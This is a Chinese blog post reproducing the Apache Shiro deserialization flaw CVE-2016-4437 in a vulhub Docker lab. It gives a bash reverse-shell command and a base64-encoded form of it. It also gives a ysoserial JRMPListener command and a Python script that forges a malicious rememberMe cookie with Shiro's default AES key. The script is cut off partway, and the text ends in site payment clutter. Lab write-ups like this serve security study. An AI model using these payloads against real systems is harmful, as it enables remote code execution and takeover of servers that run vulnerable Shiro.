shiro反序列化漏洞

本文详细介绍了Shiro框架中的反序列化漏洞(CVE-2016-4437)的环境搭建、漏洞复现、分析过程,包括使用ysoserial工具构造payload,通过加密、解密过程理解漏洞成因,以及如何利用此漏洞。同时,文中提供了一些参考文章以深入研究。
摘要由CSDN通过智能技术生成

一、环境搭建

1、安装docker

curl -fsSL https://get.docker.com | bash -s docker --mirror Aliyun
![[Pasted image 20240122202459.png]]

2、安装docker-compose

pip install docker-compose
![[Pasted image 20240122203114.png]]

3、gitvulhub镜像

git clone https://github.com/vulhub/vulhub.git
![[Pasted image 20240122203343.png]]

4、进入指定目录启动环境

cd vulhub/shiro/CVE-2016-4437
docker compose up
![[Pasted image 20240126073340.png]]

访问http://IP:8080
![[Pasted image 20240126073431.png]]

二、漏洞复现

首先下载ysoserial工具
下载地址:https://github.com/frohoff/ysoserial/releases/tag/v0.0.6
使用java -jar ysoserial.jar查看是否可以正常使用
![[Pasted image 20240126073645.png]]

构造反弹shell命令

bash -i >& /dev/tcp/ip/port 0>&1

然后放到以下网站进行加密
https://r0yanx.com/tools/java_exec_encode/
![[Pasted image 20240126074111.png]]

然后使用工具ysoserial执行命令

java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 9999 CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuNDAvMjM0NSAwPiYx}|{base64,-d}|{bash,-i}(刚刚网站加密后的命令)"

![[Pasted image 20240126074915.png]]

开始构造cookie
编写一个py脚本,内容如下

import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES

def encode_rememberme(command):
    popen = subprocess.Popen(['java', '-jar', 'ysoserial-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
    iv = uuid.uuid4().bytes
    encryptor = AES.new(key, AES.MODE_CBC, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt
  • 17
    点赞
  • 24
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值